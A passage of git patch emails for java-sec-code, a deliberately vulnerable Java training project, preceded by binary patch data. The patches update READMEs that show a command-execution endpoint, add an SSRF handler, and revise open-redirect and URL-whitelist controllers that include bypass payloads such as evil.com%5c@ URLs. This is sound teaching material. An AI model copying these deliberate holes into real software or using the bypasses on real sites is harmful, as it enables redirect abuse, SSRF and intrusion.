z+Dpd+7UvGlnmRI>c#% zy)w^K4uq5_Bu98w9*;qq0aj8~OVAhMc<;t3cSt)K{K>h1jt$veb&$UM)JATz&o!{6 z`f)T$>=43o@?u<`Z9&7x!8!;Ox8+aJq9F0KJxooD1kUWtm(a7xqqtKKj~LVIA|Rb8NS-VOe!p+@K(!Gm!6+aV6H_<}c-_ z*ndv7og+kB2jwGuXY027#2B2``g^GU73;$xO-5)jy37= zc_45yF3WBf@Y!V3vw?bOR`XSd5R*>yX_%Xaq|6CmhcV4y1Eh?0Ts1(R_hbkyPY%AN}wf+bmLhqBV&6D{uy z;&<6O72%g{u7^aKLJYo5z$2_5gMZsz>yX0gn`!CK;`SU7fJN*-lWZ+?brNQ#v zQU9xKTmvnvNvqM+;dd__UfK_2#XVbqfy^?H!?|RsR}UE$&UV3CKT`w#xv-$q^YlYf z;VFs#TEI{M={-9!I#EtFTA4T}_gZXgd*09X-I_NDY3dq=hb1Dj8>jwzQ?4Ucss4H5 z7RZSUy@RW;62(bGEZyLl`-CyuCp zueaPR&$gn9U!V4Uvlv+)8}ZlKMJ=N|T^imvEYDVb7d=JbR}~^SEqEH#Bk`2E8UFg7 zKEPL!-v~~tZBtZr(_JTzncfYVOXWS?hHTl7XX}f7OX3UcAk6-@@1nn^`LdVn*f_s# z5C!Q%BL>|8Agi*y2A>hDn4y|reph8hhf_vE|BM*hV-}B$S!aMUczw|VpbOSE&gZtm z-oGbY&K667YjARG5>pAJ^6akNKRp!IF`!7Rf{64L@siS2pNlS$MK$WvqlJBz-a0a3 zy@8WM@GUG|*`1^A>~St)JNUfZPAn_7XFJ$O|EWuRd%bN<-NnTXc73;ZJ5}bP2!Hew z@iYGzA>pxYcUT#0X0Fol_rl2Yyojg7uIXavvSriW`jn`LQRhg7$KjV!k_XSPf3eVp zEAY@=yF7~+cm`Ocf zs(d##`B2!j>XBt;7GsxMtw6cYyqu&DB7bM$7$G@|S5;j!c8>|6n%1M5#Tq$?xQAc< zK#i^gU7lr){M@?lqQl6{hRq+N1@zfzg0uDuHogMW_PT}h;xaW#+_ADFml4nyY=@RM zNdM}E*|NL9Q%hpVoClV_7OXoe2J`%a{&H?gA7JSC;=Sh>(q0I)cDuemb5O&|yfjyy9t0o9vX}ff!3-P!poUU*aDXZElrz zCFIy5;$D6z2y7{bFC^U4Uf5rajSwWsXEFLmr=OQkeD&Sm8{69((9Cn!C4Ui9qH=nl z%+otC+zQRo(OUQV@f`u?vZEjhDq9!O$w}%;=JC~J9+{2N zCnlrLGgNW{pDE1!4&kdzD=%qIDBSZPE=n@^yiaNrrPut4bwk0#M!9xHu@D>oui->@ zqzV24P3N)T0lRO6y}<^|39~0k!Oqn3b+?>?dJ(F#F48wY-{qati1=HdIW&Coxcfoi z^9cKW&z5qD6Wi}mEGut`y!8Js)D&nRmis?Y6XoSUP&2!rGQ+C^o#(4SJkkOx8Fy{af9Jn?0IokWywKFZ#;h24LBtX0*wd5dN-5-B9>GF)Z(l|Wdnp}G{Ky&jp` zuqV^W*0aB>O6@e-C&{=Yb*{wdWHo^7Qmwg=3;ip<;=5EIPHJX)X&t%2$L-VU=hX>)AKdC(}!U&Jd5q1lYM zmvPS%8uiaHMh=(+d96%^7q+LDkWk3y@OwY}5XjXNr@vKQjc@7HKfbeNWu!}JIvjA0 zCjMqQssZ1j2#uKvVvw>`YDH%TaN@bolfls5OPaJm&RP}OJov$(m0PlNIkB!tK7ob# zn+2eveEK*(bt0|+?>k%c8flpcp}xF&nJnTRKwaMNr^TFMlS_ivK@4GOYp-!)xk*PO zsV;@cwyqLh1ZH`s8U^F=ECTv@oxVj2aYZ<-nQ67T)?`@saf;?>YHv3P7f-sI=?#L5 zY?M2&2~=&33?ewXtsbpxW;2gyl&-i*Ryo4Fu7XwJEt)#9zMnu&K+>4mHv_^@;Fe?w zh2Er(vR@1r#OBwG`E2bZGrad*p+&?YHb9Eh< zzIZbM^VVzd*ZlB+%as8!nE&`$JuBb?q}@<>WSezeo}T33nQ#_ZYB=LdsPSPmIfWg# zi_BT3O>;eE`2e;Mc&)j96qYV(SRF?Py8apUQmX93An^lbaZWoF^2_dePm(Mq zZN08Q=H}IuEagv-Ch#B!l$McI*HbiOM}xo&eN@ z0+aBEyY*-Gt?dMuTQAXHtIr_jAog+i{$21?g1W*faDbg$4V8|L`{K!UoHn#&?iaDE zm*E!i{=0js5k_gpov5jp?OfeX(#wFiF<>0j4N| zaxb+g6q0TfJnBK?O1mhY;u7{3fvojGq(qZ%(r6gheDErCCv~K6HVdkEdbi$Up1(bWov{R2@3sTmgSZDYAEu(c^Tpe}!baCSHpmub%BF6_sZu_nt^Fp9o%wQH4 zaH+G8NgzdOxj*osY_brcf?Gf?z1V8HSN?BrVk|;^uI3T4tadLIU@%W71-s)}tm-|K ziLV0Yp15cKbO2xRKxfcPRjf)CZ%cGpjqE^i^?HQQcvud=Uf;yfEjoMG_vh5+%SFv; z(;gCvYtgyk8inhU@ZE+Ma-ejwRhU7X}QB7P;ID0ocv0 z^jK#wX&ypxj}7Av3nH*7Y{7c-=m-V{_xAPzI5|0uOpOj2{dwb77t1( zD&WH=9?H@rGjP>MX2fA)tvg0{Kz*$pH<0=cY^{g+)V(I^-LxVC&8;s6#yP>PaakeI zb-{=GjT@F~tGKYQ5H94SWo2TN^k*OpnZcMu;-HQUaG!pPm4OIYK*XA_K8j9345+8J z6F}3x?l@61?m{$P`?S4__;&&#vThdR_CUr?AeMSC7s+!*PCyf}c4l z=k}@X{mQx%FjU6S|I$crHWNT!Yf{M>SjFMd;eohfJIo6(^dhccYeuT;pjW}^!4h38Rh!I&9w6f;~P>@ zIyA(Rb}Q2j)nAVFZhJRL&vc@bryNtm4qp9`ue6yiIExNCN=2qAbP@+w;U4JybaSt|IDco+9u_9-_ zf@WW+O!N~KV=41{b?k~=taO4gF|8F_5V4qb3GN--+S(_P{oK>n++2X6MYC9u*fGl6 zbWwr`&2)+`^B_m0G13y2w%(G}W5?$fW}_~ttQaUn61mYDI$>%E0g2Yt(r=KK=ccz& zgs^iGI#@uLG#%|*15Onnkg7LPA{#>Yd1Yu{horQzMz~_->2PRNBq5_;Pt<=c1Gl zp51v;YP^KDu-p7a&9{Dcz0KX!U!8R~D3RWflw(g~GyZFP_;B&)JfvegtRuVhuHnk+ z5v0-OvL5mBg;@H?+mjCV>oXv_q4=PA-^Go=!(b3c+yOkqvfeW><_jXr>86pXrXs^a zxa;F^W;m z`eoYNagd|j^LB4e`28VnX|cSk1{)mpraOeBA%bO z<^`$Ds@u(Z=A&whE-oi0XH0Br;6}&0S8Xi9E)ZnsGIqz!#K+7h@Dti84{Q6e!UZeC z1e}hym>rAiBXryVuuiHYV5v!6tQu>Z8z^A}T%pah__l{R?QXtvw{o`bV6~g}nytW5 z7hKIFVqYx83SA0!Ijni&VBw`2 zl}7xPrDP57qNh22u$prA(^}bjsf5B*se2d{D(e4>M@vu8EujWlCE?aO_GatJM8&eU zPj`z={NDC@a2~kX4c$l5ist3k0(M*Xn%X)&Sd)4ky*~0EQcWz}{7t^$KM z75;WDa((sxw0E9gO(0tUrwT}qLO_K8ArL~4B1NUQP=yfs69j?Ki!`MK1VRfCid3aZ z6-Y!tq$3ESBZ|@$)=(lvMOa-Rg1+cm&#oWdf8dwt^JQR_46 zPb`-@RXf+{%Nk2oDVt)m#OIQPv3MpHQHhA%7=V}zjEvKg;qs3L)h1{SPcgl2RixKm zHd770qNbq7)-DEl-S^fxye~xWKnj*>XEN%xxR=vIb}Iws)ko1yZie(IGBYteoP z6+OWZ?;nrs;}NGsJu+*YxDP#4cScjf7jO6m4Xn4qRzl74n^W>gsPdX8c4 zS8+czm>&}?D8?vIdMCt=?XR2R$Cpg_Ma>wjqFz__%Wy*PLrFW>&MYG#ee?hj(B{Zi zuzE})K(DifK5mnswh*DwQH#s?SjpH(@B7_aXQ`MFWBiDQ zhdZ9k`ObqaTdpOW7F9*X{DDlyM&1xrG9OLL378A0dUuW;+3itCZTLe5qhT|QQP%O` zs~K0tVx2x<0eZZJ`*Qs7Wcie>b0?LmU449fNJCFa>U*XGkE2*JZ|dLP%+UBe8nN3Q zWn(Agn))I_dcX6PR`<-ydoZC0qp#5^Jp{hGI)c380xE~svetlre`AcO6L==nXn~nl z^k4e8$5J0MxB?Oe65_3hGSYgf_|tKR<&Bu5u#m1OR<2Xrrq2iIT;eiHiM}Ywu?qMg z7#HYmS!GKCoD=2v8jJD>2af7LB%L>~ICHY9uM9-QcN59=JMmajgMg&!`8I)O@&-0= zar(Jw3BIyj9@We|U;f;lg(N1X#-CxNIQrnRnmats<9iI7BbJh)VXr@WJn0qVwKnZI zPHKccePcq_q`f@a2(H+o3^OdA0PB375m*5$ReY-&cRNiV z44TaK)D157?Xb4TV|Lc>KOnq&Fv3V%q^j95He@-B^HpL@O~u)OK998G~JjXa)1 zvqMAf%%@F!h`KZY=`=5EMjmsCThy%_(~V|$bC!klp9^xP^CidDQZ&|t7jgHc7UYsX zxu5Q8apz}<>(0DVCL@n}d?o#>x(G@warG*-tjBNgM#AVcM{|o(Z$Q!btcmO!Y%8ST z(u+&ML#V2aE3~iS1NVn{i+VDzhJ}+>T$`RukKE!S7P;U(1Ek$-{<>=G4yrc2%`m`h zf@7&AoJft=4hjsE@6^c)W8khdI=h==QJAyk|Dj`!ztvFuKJE-u(%=+!S}%tK@&<8f zVk!ByQg&OZ4ILdD)ksg<3TS!QeAa3qbr-gfRL0;E=HhzJnA99!4lR25;pIC#~H!`N56|sn4E9AL0aZuW7WIj*3nbHFEv6mBiKdaVry$|=bYM_2p z_r4A&!GB2X9+wd{v&{;O9#%}wXt6Gt*s?sbX7l7JE!jz@N()H!^f-Tur9CM>hO1dO zzb(n-#Rqy&YuAhstu{H|2lW^}Qb<%szAisIB2Im^ifuZYnL}k*9bT-k{hBl2LbPH} zE@OBxvlQF>@a=eqvtY|Y1)NQ6L?%okPxcNWn#Z$78(r(b!Kaz%c_8K-e21Tu=cMSvN=J= z`WpKXb93`|4O|Kt-wuj8@Q1|30$$9!-c4xpoSNh5A6f#haifX8;}@?KwI4(EuHODQ z-CQ0XH}1pOnbi?B_S90RuCA^z_?fVxl9ZXbt9dpC!^6u@%NGaG3*KiapC+owe@l9n z3VCAYq8jobeMI=tF<2#~_rL1Q;GfPuA3z%dH!sAgck z!hZc56Izy@G2w+B>-YQ9KUK@1H!|X6xf``Ga23iWKzw{^dp)Vr>uSMDD63=@QK2=> z7(+J}nJ)V6&auE?;4q(kuM`1keIuoyVyQ~ibv8jq{q zXKJbYKxz@tT-q4S%~ZDUMrSaU0Y_jKDqtyT#|x^ef;f~z1A-6(&Ned>mkOkZLg&r zISD;6+8Zc1v4OqK4wzb&d310-4^9x|s2>mh;U7O!vjTb|=SfcWtKcy$dW)1wG{tqY znVFS?b8v*g&jDeAR-wSd4O?aWA?fc85qFwmXe8@_x_41%fO)=H#G5v%c+30e&ePc7 zMhD>THEX!SNF=w|Lsta_hCI>edEGX0l+Kh*!19=`ktWhr?X{$7uQ({cx~V+AQdm_U z1|)86r$~1l72hTLhgpwXaaQoqNH<8~!;s-khYrZZv02{P`b=E9=Tqr3U+UMzz|L{| zE1_c-533RpjZg49MKk~d!G>ogG} zqDAR{T6HX#oV9B(dABvcsqdXq4#%By(!pNE;7MquT}^Tmd&jPapI^fK&dyOvayvRK zpzAWe2BuVDTEM#`V#3H>c#06XM%ClulTNYFGlJ&MOeS!0SjM6$%8q9XY^2%7p+BrpbL_=@4W*8KrlibHJ9ha(ObwblOYn@$OC=a|5fNx zli-cAjRo*pVZG8Of!4BoJ6tbJpu9qCa&9XA_2Jg5Pe@tp52)rRp+VDM&1$vMcR=on zM2xCHf~#6Te^=v=D*5mi=%(?q6>5!)4%z7~|vt#C z1El+xGJc2_gjC)(FYs&M-$fb!-gACR{}%mif!`MRZGrz|f!=Q{|A8LY@0nU=qN5cf MeKWm!9p||J0<>Gspa1{> From a605b1e267f213d7d8a91b7e752923aacf46d430 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 21 Jun 2019 21:07:12 +0800 Subject: [PATCH 029/108] update readme --- README.md | 39 +++++++++++++++++++++++++-------------- 1 file changed, 25 insertions(+), 14 deletions(-) diff --git a/README.md b/README.md index 12a3453b..9104789a 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,9 @@ # Java sec code -[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) +Java sec code is a very powerful and friendly project for learning Java vulnerability code. + +[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) ## Introduce @@ -101,22 +103,31 @@ return: Viarus ``` -### Jar +### JAR -- Change `war` to `jar` in `pom.xml`. +Change `war` to `jar` in `pom.xml`. - ```xml - sec - java-sec-code - 1.0.0 - war - ``` +```xml +sec +java-sec-code +1.0.0 +war +``` -- Build package and run. +Build package and run. - ``` - mvn clean package -DskipTests - java -jar target/java-sec-code-1.0.0.jar - ``` +``` +mvn clean package -DskipTests +java -jar target/java-sec-code-1.0.0.jar +``` + + +## Donate + +If you like the poject, you can donate to support me. With your support, I will be able to make `Java sec code` better 😎. + +### Alipay +Scan the QRcode to support `Java sec code`. + From edfc1fce32e3e651176bf7982331e85021ee8ca4 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 21 Jun 2019 21:25:50 +0800 Subject: [PATCH 030/108] udpate readme --- README.md | 2 +- README_zh.md | 26 ++++++++++++++++++++++---- 2 files changed, 23 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 9104789a..1e987246 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# Java sec code +# Java Sec Code Java sec code is a very powerful and friendly project for learning Java vulnerability code. diff --git a/README_zh.md b/README_zh.md index 06c18121..b42b4c8c 100644 --- a/README_zh.md +++ b/README_zh.md @@ -1,4 +1,8 @@ -# Java Security Code +# Java Sec Code + +对于学习Java漏洞代码来说，`Java Sec Code`是一个非常强大且友好的项目 + +[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) ## 介绍 @@ -51,11 +55,13 @@ 3. 重启Tomcat应用 +例子： + ``` http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami ``` -返回 +返回： ``` Viarus @@ -65,11 +71,13 @@ Viarus 直接点击run按钮即可运行。 +例子： + ``` http://localhost:8080/rce/exec?cmd=whoami ``` -返回 +返回： ``` Viarus @@ -77,7 +85,7 @@ Viarus -### Jar包 +### JAR包 先修改pom.xml里的配置，将war改成jar。 @@ -95,3 +103,13 @@ Viarus mvn clean package -DskipTests java -jar 打包后的jar包路径 ``` + +## 捐赠 + +如果你喜欢这个项目，你可以捐款来支持我。 有了你的支持，我将能够更好地制作`Java sec code`项目。 + +### Alipay + +扫描支付宝二维码支持`Java sec code`。 + + From 12ab307010aedbeb39b9d14d18c8db039897873d Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 21 Jun 2019 21:27:45 +0800 Subject: [PATCH 031/108] update readme --- README_zh.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README_zh.md b/README_zh.md index b42b4c8c..66897133 100644 --- a/README_zh.md +++ b/README_zh.md @@ -1,6 +1,6 @@ # Java Sec Code -对于学习Java漏洞代码来说，`Java Sec Code`是一个非常强大且友好的项目 +对于学习Java漏洞代码来说，`Java Sec Code`是一个非常强大且友好的项目。 [英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) @@ -50,9 +50,9 @@ ### Tomcat -1. 生成war包 `mvn clean package` -2. 将target目录的war包，cp到Tomcat的webapps目录 -3. 重启Tomcat应用 +1. 生成war包 `mvn clean package`。 +2. 将target目录的war包，cp到Tomcat的webapps目录。 +3. 重启Tomcat应用。 例子： From 0e4f22ec7df2fb420013754a5e0bf0d5628f4fcd Mon Sep 17 00:00:00 2001 From: JoyChou Date: Tue, 25 Jun 2019 13:00:08 +0800 Subject: [PATCH 032/108] Add httpclient SSRF vul code --- java-sec-code.iml | 1 + pom.xml | 8 ++ src/main/java/org/joychou/Application.java | 2 +- .../org/joychou/CsrfAccessDeniedHandler.java | 5 +- .../java/org/joychou/controller/SSRF.java | 52 ++++++++ .../org/joychou/controller/URLRedirect.java | 34 +++--- .../org/joychou/controller/URLWhiteList.java | 115 ++++++++---------- src/main/java/org/joychou/controller/XXE.java | 1 - .../org/joychou/security/SSRFChecker.java | 17 ++- .../org/joychou/security/SecurityUtil.java | 11 ++ .../java/org/joychou/security/secFilter.java | 12 +- 11 files changed, 156 insertions(+), 102 deletions(-) diff --git a/java-sec-code.iml b/java-sec-code.iml index 50a7df08..8a7c0cb7 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -170,5 +170,6 @@ + \ No newline at end of file diff --git a/pom.xml b/pom.xml index 6f8e114c..bcfd042c 100644 --- a/pom.xml +++ b/pom.xml @@ -84,6 +84,7 @@ httpclient 4.3.6 + org.apache.httpcomponents fluent-hc @@ -161,6 +162,13 @@ 3.6 + + + commons-httpclient + commons-httpclient + 3.1 + + diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 85d0aab8..41169b9a 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -8,7 +8,7 @@ import org.springframework.cloud.netflix.eureka.EnableEurekaClient; -@ServletComponentScan +@ServletComponentScan // do filter @SpringBootApplication // @EnableEurekaClient // 测试Eureka请打开注释，防止控制台一直有warning public class Application extends SpringBootServletInitializer { diff --git a/src/main/java/org/joychou/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/CsrfAccessDeniedHandler.java index 27d72d95..ed043ac2 100644 --- a/src/main/java/org/joychou/CsrfAccessDeniedHandler.java +++ b/src/main/java/org/joychou/CsrfAccessDeniedHandler.java @@ -14,14 +14,15 @@ public class CsrfAccessDeniedHandler implements AccessDeniedHandler { /** - * @desc 返回自定义拦截页面 + * Design csrf access denied page. + * */ @Override public void handle(HttpServletRequest request, HttpServletResponse response, AccessDeniedException accessDeniedException) throws IOException, ServletException { response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden - response.getWriter().write("CSRF check failed by JoyChou."); // response + response.getWriter().write("CSRF check failed by JoyChou."); // response contents } } diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index 550b13a3..3f731506 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -2,7 +2,10 @@ import com.google.common.io.Files; import com.squareup.okhttp.OkHttpClient; +import org.apache.commons.httpclient.HttpClient; +import org.apache.commons.httpclient.methods.GetMethod; import org.apache.http.HttpResponse; +import org.apache.http.HttpStatus; import org.apache.http.client.fluent.Request; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; @@ -176,6 +179,55 @@ public static String ssrf_HttpClient(HttpServletRequest request) { } + /** + * Safe code: http://localhost:8080/ssrf/commonsHttpClient?url=http://www.baidu.com + * + * @param request + * @return + */ + @RequestMapping("/commonsHttpClient") + @ResponseBody + public static String commonsHttpClient(HttpServletRequest request) { + + String url = request.getParameter("url"); + + // Security check + if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { + return "Bad man. I got u."; + } + // Create an instance of HttpClient. + HttpClient client = new HttpClient(); + + // Create a method instance. + GetMethod method = new GetMethod(url); + + // forbid 302 redirection + method.setFollowRedirects(false); + + try { + // Send http request. + int status_code = client.executeMethod(method); + + // Only allow the url that status_code is 200. + if (status_code != HttpStatus.SC_OK) { + return "Method failed: " + method.getStatusLine(); + } + + // Read the response body. + byte[] resBody = method.getResponseBody(); + return new String(resBody); + + } catch (IOException e) { + return "Error: " + e.getMessage(); + } finally { + // Release the connection. + method.releaseConnection(); + } + + + } + + /** * http://localhost:8080/ssrf/ImageIO_safe?url= * diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java index 753530d1..26fc1652 100644 --- a/src/main/java/org/joychou/controller/URLRedirect.java +++ b/src/main/java/org/joychou/controller/URLRedirect.java @@ -13,29 +13,28 @@ import org.joychou.security.SecurityUtil; /** - * @author JoyChou (joychou@joychou.org) - * @date 2017.12.28 - * @desc Java url redirect. - * @fix Check redirect url whitelist. + * The vulnerability code and security code of Java url redirect. + * The security code is checking whitelist of url redirect. + * + * @author JoyChou (joychou@joychou.org) + * @version 2017.12.28 */ - @Controller @RequestMapping("/urlRedirect") public class URLRedirect { /** - * usage: http://localhost:8080/urlRedirect/redirect?url=http://www.baidu.com - * + * http://localhost:8080/urlRedirect/redirect?url=http://www.baidu.com */ @GetMapping("/redirect") public String redirect(@RequestParam("url") String url) { return "redirect:" + url; } + /** - * usage: http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com - * + * http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com */ @RequestMapping("/setHeader") @ResponseBody @@ -45,9 +44,9 @@ public static void setHeader(HttpServletRequest request, HttpServletResponse res response.setHeader("Location", url); } + /** - * usage: http://localhost:8080/urlRedirect/sendRedirect?url=http://www.baidu.com - * + * http://localhost:8080/urlRedirect/sendRedirect?url=http://www.baidu.com */ @RequestMapping("/sendRedirect") @ResponseBody @@ -58,13 +57,12 @@ public static void sendRedirect(HttpServletRequest request, HttpServletResponse /** - * desc: security code.Because it can only jump according to the path, it cannot jump according to other urls. - * usage: http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test - * + * Safe code. Because it can only jump according to the path, it cannot jump according to other urls. + * http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test */ @RequestMapping("/forward") @ResponseBody - public static void forward(HttpServletRequest request, HttpServletResponse response) throws IOException{ + public static void forward(HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url"); RequestDispatcher rd =request.getRequestDispatcher(url); try{ @@ -74,10 +72,10 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo } } + /** - * desc: sendRedirect security code - * usage: http://localhost:8080/urlRedirect/sendRedirect_seccode?url=http://www.baidu.com - * + * Safe code of sendRedirect. + * http://localhost:8080/urlRedirect/sendRedirect_seccode?url=http://www.baidu.com */ @RequestMapping("/sendRedirect_seccode") @ResponseBody diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index fb5ce94b..94df0400 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -1,7 +1,6 @@ package org.joychou.controller; -import com.google.common.net.InternetDomainName; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; @@ -14,9 +13,11 @@ import java.util.regex.Pattern; /** - * @author JoyChou (joychou@joychou.org) - * @date 2018.08.23 - * @desc URL whitelist bypass. + * The vulnerability code and security code of Java url whitelist. + * The security code is checking url whitelist. + * + * @author JoyChou (joychou@joychou.org) + * @version 2018.08.23 */ @Controller @@ -24,11 +25,12 @@ public class URLWhiteList { - private String urlwhitelist[] = {"joychou.org", "joychou.com"}; + private String domainwhitelist[] = {"joychou.org", "joychou.com"}; /** - * @desc 绕过方法bypassjoychou.org - * @usage http://localhost:8080/url/endswith?url=http://aaajoychou.org + * bypass poc: bypassjoychou.org + * http://localhost:8080/url/endswith?url=http://aaajoychou.org + * */ @RequestMapping("/endswith") @ResponseBody @@ -37,7 +39,7 @@ public String endsWith(HttpServletRequest request) throws Exception{ URL u = new URL(url); String host = u.getHost().toLowerCase(); - for (String domain: urlwhitelist){ + for (String domain: domainwhitelist){ if (host.endsWith(domain)) { return "Good url."; } @@ -46,8 +48,9 @@ public String endsWith(HttpServletRequest request) throws Exception{ } /** - * @desc 绕过方法joychou.org.bypass.com bypassjoychou.org - * @usage http://localhost:8080/url/contains?url=http://joychou.org.bypass.com http://bypassjoychou.org + * bypass poc: joychou.org.bypass.com or bypassjoychou.org. + * http://localhost:8080/url/contains?url=http://joychou.org.bypass.com http://bypassjoychou.org + * */ @RequestMapping("/contains") @ResponseBody @@ -56,7 +59,7 @@ public String contains(HttpServletRequest request) throws Exception{ URL u = new URL(url); String host = u.getHost().toLowerCase(); - for (String domain: urlwhitelist){ + for (String domain: domainwhitelist){ if (host.contains(domain)) { return "Good url."; } @@ -66,8 +69,9 @@ public String contains(HttpServletRequest request) throws Exception{ /** - * @desc 绕过方法bypassjoychou.org，代码功能和endsWith一样 - * @usage http://localhost:8080/url/regex?url=http://aaajoychou.org + * bypass poc: bypassjoychou.org. It's the same with endsWith. + * http://localhost:8080/url/regex?url=http://aaajoychou.org + * */ @RequestMapping("/regex") @ResponseBody @@ -87,8 +91,9 @@ public String regex(HttpServletRequest request) throws Exception{ /** - * @desc 绕过方法joychou.org.bypass.com bypassjoychou.org，代码功能和 contains 一样 - * @usage http://localhost:8080/url/indexof?url=http://joychou.org.bypass.com http://bypassjoychou.org + * bypass poc: joychou.org.bypass.com or bypassjoychou.org. It's the same with contains. + * http://localhost:8080/url/indexof?url=http://joychou.org.bypass.com http://bypassjoychou.org + * */ @RequestMapping("/indexof") @ResponseBody @@ -96,8 +101,8 @@ public String indexOf(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); URL u = new URL(url); String host = u.getHost(); - // indexOf为-1，表示没有匹配到字符串 - for (String domain: urlwhitelist){ + // If indexOf returns -1, it means that no string was found. + for (String domain: domainwhitelist){ if (host.indexOf(domain) != -1) { return "Good url."; } @@ -106,8 +111,12 @@ public String indexOf(HttpServletRequest request) throws Exception{ } /** - * @desc 用java.net.URL类的getHost被绕过情况 - * @usage https://github.com/JoyChou93/java-sec-code/wiki/SecurityUtil-whtielist-Bypass + * The bypass of using java.net.URL to getHost. + * + * Bypass poc1: curl -v 'http://localhost:8080/url/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html' + * Bypass poc2: curl -v 'http://localhost:8080/url/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html' + * + * Detail: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass */ @RequestMapping("/url_bypass") @ResponseBody @@ -115,69 +124,46 @@ public String url_bypass(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); System.out.println("url: " + url); URL u = new URL(url); - // 判断是否是http(s)协议 + if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { return "Url is not http or https"; } + String host = u.getHost().toLowerCase(); System.out.println("host: " + host); - if (host.endsWith("." + urlwhitelist)) { - return "Good url."; - } else { - return "Bad url."; - } - } - - - /** - * @desc 利用InternetDomainName库获取一级域名的安全代码 (一级域名白名单) - */ - @RequestMapping("/seccode") - @ResponseBody - public String seccode(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); - - URI uri = new URI(url); - // 判断是否是http(s)协议 - if (!url.startsWith("http://") && !url.startsWith("https://")) { - return "SecurityUtil is not http or https"; + // endsWith . + for (String domain: domainwhitelist){ + if (host.endsWith("." + domain)) { + return "Good url."; + } } - // 使用uri获取host - String host = uri.getHost().toLowerCase(); + return "Bad url."; + } - // 如果非顶级域名后缀会报错 - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - if (rootDomain.equals(urlwhitelist)) { - return "Good url."; - } else { - return "Bad url."; - } - } /** - * @desc 自定义一级域名白名单 - * @usage http://localhost:8080/url/seccode1?url=http://aa.taobao.com + * First-level host whitelist. + * http://localhost:8080/url/seccode1?url=http://aa.taobao.com + * */ @RequestMapping("/seccode1") @ResponseBody public String seccode1(HttpServletRequest request) throws Exception{ - // 定义一级域名白名单list，用endsWith加上.判断 String whiteDomainlists[] = {"taobao.com", "tmall.com"}; String url = request.getParameter("url"); URI uri = new URI(url); - // 判断是否是http(s)协议 if (!url.startsWith("http://") && !url.startsWith("https://")) { return "SecurityUtil is not http or https"; } - // 使用uri获取host String host = uri.getHost().toLowerCase(); + // endsWith . for (String domain: whiteDomainlists){ if (host.endsWith("." + domain)) { return "Good url."; @@ -188,24 +174,23 @@ public String seccode1(HttpServletRequest request) throws Exception{ } /** - * @desc 自定义多级域名白名单 - * @usage http://localhost:8080/url/seccode2?url=http://ccc.bbb.taobao.com + * Muti-level host whitelist. + * http://localhost:8080/url/seccode2?url=http://ccc.bbb.taobao.com + * */ @RequestMapping("/seccode2") @ResponseBody public String seccode2(HttpServletRequest request) throws Exception{ - // 定义多级域名白名单，判断使用equals String whiteDomainlists[] = {"aaa.taobao.com", "ccc.bbb.taobao.com"}; String url = request.getParameter("url"); URI uri = new URI(url); - // 判断是否是http(s)协议 if (!url.startsWith("http://") && !url.startsWith("https://")) { return "SecurityUtil is not http or https"; } - // 使用uri获取host String host = uri.getHost().toLowerCase(); + // equals for (String domain: whiteDomainlists){ if (host.equals(domain)) { return "Good url."; @@ -215,14 +200,15 @@ public String seccode2(HttpServletRequest request) throws Exception{ } /** - * @desc 自定义多级域名白名单 - * @usage http://localhost:8080/url/seccode3?url=http://ccc.bbb.taobao.com + * Muti-level host whitelist. + * http://localhost:8080/url/seccode3?url=http://ccc.bbb.taobao.com + * */ @RequestMapping("/seccode3") @ResponseBody public String seccode3(HttpServletRequest request) throws Exception{ - // 定义多级域名白名单 + // Define muti-level host whitelist. ArrayList whiteDomainlists = new ArrayList(); whiteDomainlists.add("bbb.taobao.com"); whiteDomainlists.add("ccc.bbb.taobao.com"); @@ -230,13 +216,10 @@ public String seccode3(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); URI uri = new URI(url); - // 判断是否是http(s)协议 if (!url.startsWith("http://") && !url.startsWith("https://")) { return "SecurityUtil is not http or https"; } - // 使用uri获取host String host = uri.getHost().toLowerCase(); - if 